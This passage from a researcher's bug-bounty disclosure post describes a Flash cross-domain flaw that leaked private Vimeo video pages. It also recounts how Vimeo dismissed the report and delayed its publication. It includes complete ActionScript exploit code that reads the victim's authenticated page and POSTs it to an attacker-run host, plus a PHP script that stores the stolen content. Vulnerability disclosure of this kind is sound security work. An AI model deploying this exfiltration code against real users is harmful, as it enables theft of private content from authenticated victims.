<p>Here’s what I saw in Firefox:</p>

<p><a href="/images/vim2.jpg"><img src="/images/vim2.jpg" alt="vimeo" /></a></p>

<p>And in Chrome:</p>

<p><a href="/images/vim3.jpg"><img src="/images/vim3.jpg" alt="vimeo" /></a></p>

<p>Clearly, the <strong>page content depended on the user’s authentication status</strong>. This meant <strong>I could potentially extract the page source</strong> from an authenticated user.</p>

<h3 id="step-2-writing-a-flash-exploit">Step 2: Writing a Flash Exploit</h3>

<p>I created a <strong>Flash (SWF) file</strong> that could send a request to <code class="language-plaintext highlighter-rouge">player.vimeo.com/video/182118182</code> and extract the <strong>HTML source code of the private video page</strong>.</p>

<h4 id="flash-code-leakswf">Flash Code (<code class="language-plaintext highlighter-rouge">leak.swf</code>)</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLLoader;

 public class XDomainXploit extends Sprite {
  public function XDomainXploit() {
   // Private video URL for an authenticated user
   var readFrom:String = "https://player.vimeo.com/video/182118182";
   var readRequest:URLRequest = new URLRequest(readFrom);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   try {
    getLoader.load(readRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }

  private function eventHandler(event:Event):void {
   // Attacker-controlled server to receive the stolen content
   var sendTo:String = "http://xxe-me.esy.es/video.php";
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST;
   sendRequest.data = event.target.data;
   var sendLoader:URLLoader = new URLLoader();
   try {
    sendLoader.load(sendRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }
 }
</code></pre></div></div>

<h3 id="step-3-saving-the-stolen-content">Step 3: Saving the Stolen Content</h3>

<p>On the attacker’s side, <code class="language-plaintext highlighter-rouge">video.php</code> would <strong>save the extracted HTML source code</strong> into a new file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;?php
$data = file_get_contents("php://input");
$page_content = file_put_contents('private_video.html', $data, FILE_APPEND | LOCK_EX);
if($page_content === false) {
 die('Failed to save!');
}
else {
 echo "Exploit successful!";
}
?&gt;
</code></pre></div></div>

<h2 id="proof-of-concept-poc">Proof of Concept (PoC)</h2>

<p>I recorded a full <strong>PoC video</strong> , demonstrating how the exploit could be used to steal <strong>private Vimeo videos</strong> :</p>
<iframe width="670" height="315" src="https://www.youtube.com/embed/v=9CEvPGf7nSs" frameborder="0" allowfullscreen=""></iframe>

<p>Everything worked perfectly. I wrote a <strong>detailed report</strong> with a <strong>PoC, source code, step-by-step instructions, and technical analysis</strong> , then submitted it to Vimeo.</p>

<h2 id="vimeos-response">Vimeo’s Response</h2>

<p>I initially received an <strong>automated response</strong> saying <strong>this was not an issue</strong> and requesting a <strong>working PoC</strong> —which I had already provided. I <strong>resubmitted the PoC video</strong>.</p>

<p>Two days later, they <strong>closed my report as ‘Informative’</strong> with this response:</p>

<blockquote>
  <p>Thanks for your report. We are aware of this. This is how we allow custom Flash players to work.</p>
</blockquote>

<p>I was <strong>shocked</strong>. This was <strong>100% a security issue</strong> , yet they dismissed it. I requested that my report be publicly disclosed.</p>

<h2 id="the-aftermath">The Aftermath</h2>

<p>I waited for <strong>30 days</strong> for <strong>HackerOne mediation</strong> , and they told me that <strong>Vimeo had already approved the public disclosure</strong> two days prior. However, it <strong>wasn’t published</strong>.</p>

<p>I waited <strong>10 more days</strong> —still nothing. I contacted <strong>HackerOne support again</strong> , and they responded:</p>

<p><a href="/images/vim4.png"><img src="/images/vim4.png" alt="vimeo" /></a></p>

<p>Vimeo <strong>ignored my follow-ups</strong> , <strong>didn’t fix the issue</strong> , and <strong>delayed public disclosure</strong> for <strong>months</strong>.</p>

<p>This wasn’t the first time <strong>Vimeo mishandled reports</strong>. Here’s another <strong>unresolved bug report</strong> with <strong>no bounty or respectful response</strong> : <a href="https://hackerone.com/reports/49663">Report</a>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>This case proves that <strong>not all bug bounty programs handle reports fairly</strong>. Vimeo had a <strong>serious vulnerability</strong> , but instead of fixing it, they <strong>ignored and dismissed</strong> my findings.</p>

<p>Let me know your thoughts in the comments or on <strong>Twitter:<a href="https://twitter.com/Abdulahhusam">@Abdulahhusam</a></strong>.</p>

<p>Thanks for reading.</p>

<p><a href="/2016/11/11/leak-private-videos-vimeo.html"></a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[Introduction]]></summary></entry></feed>